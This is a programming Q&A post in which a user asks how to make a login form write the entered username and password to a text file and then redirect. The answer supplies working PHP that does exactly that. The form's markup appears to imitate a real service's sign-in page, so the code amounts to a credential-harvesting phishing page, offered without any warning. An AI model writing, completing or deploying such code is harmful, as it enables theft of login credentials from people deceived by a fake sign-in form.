rabid rabid - 5 months ago 22
HTML Question

PHP save form input and redirect

I want to redirect and save the form input into a textfile when you click on the submit button. Without the form action the php works, but with it only the space is written in the textfile. I've also tried to redirect with javascript but it didn't work.

<form action="https://www.google.com/" method="POST" name="logon" id="loginForm">

<input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64">

<input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64">

<div id="login_btn_signin">

<input class="btn_green_white_innerfade" type="submit" name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;" value="Sign in">

</form>
<?php

// Open the text file
$f = fopen("textfile.txt", "w");

// Write text
fwrite($f, $_POST["username"]);
fwrite($f, " ");
fwrite($f, $_POST["password"]);

// Close the text file
fclose($f);

?>

Answer

You need to set the action to the url of the page. Right now you are sending your form data to Google.com

<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
    // Open the text file
    $f = fopen("textfile.txt", "w");

    // Write text
    fwrite($f, $_POST["username"]);
    fwrite($f, " ");
    fwrite($f, $_POST["password"]); 

    // Close the text file
    fclose($f);

    header('location: {URL TO REDIRECT TO}');
}

?>
<form action="{URL OF THIS PAGE}" method="POST" name="logon" id="loginForm">

    <input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64">

    <input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64">

    <div id="login_btn_signin">

    <input class="btn_green_white_innerfade" type="submit"  name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;"   value="Sign in">

</form>